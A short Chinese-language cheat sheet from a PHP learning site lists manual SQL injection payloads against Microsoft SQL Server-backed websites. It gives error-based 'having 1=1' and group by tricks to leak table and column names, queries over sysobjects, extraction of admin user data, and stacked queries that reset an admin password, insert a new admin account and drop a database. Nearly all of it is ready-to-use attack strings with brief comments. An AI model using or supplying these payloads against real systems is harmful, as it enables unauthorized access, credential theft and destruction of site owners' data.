来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 注入点:id=1and user0 //得到数据库用户名having 1=1-- //得到当前用户的数据信息,类似于aaa.bbb的格式,aaa是表名,bbb是列名。group by 用户信息having 1=1-- //继续得到一个列。group by 信息1,....
注入点:id=1 and user>0 //得到数据库用户名 having 1=1-- //得到当前用户的数据信息,类似于aaa.bbb的格式,aaa是表名,bbb是列名。 group by 用户信息having 1=1-- //继续得到一个列。 group by 信息1,信息2 having 1=1-- //继续 原理:在SQL语句中,having 1=1--是和group by结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名一个列名。 暴出任意表名 and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc)>1 //N代表数据库中的第几个表。 暴出表的的任意列。 and (select top 1 col_name(object_id('表名'),N)from sysobjects)>1 //N代表第几列。 暴出数据 and (select top 1 adminname from admin where id=1)>1 //N 代表第几条数据 修改数据 ;update 表名set 列名='内容' where 条件 ;update admin set userpass='123456' where id=1
插入数据 ;insert into 表名values (内容)-- ;insert into admin values (3800hk,123456)-- 删除数据库 drop database 数据库名 获得数据库版本 and (select @@version)>0 获得当前数据库名 and db_name()>0 and user>0也可以用来判断权限,例如返回public说明是public权限 判断是否支持多句查询 ;declare @a int-- 判断是否支持子查询 and (select count(1) from [sysobjects])>=0 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com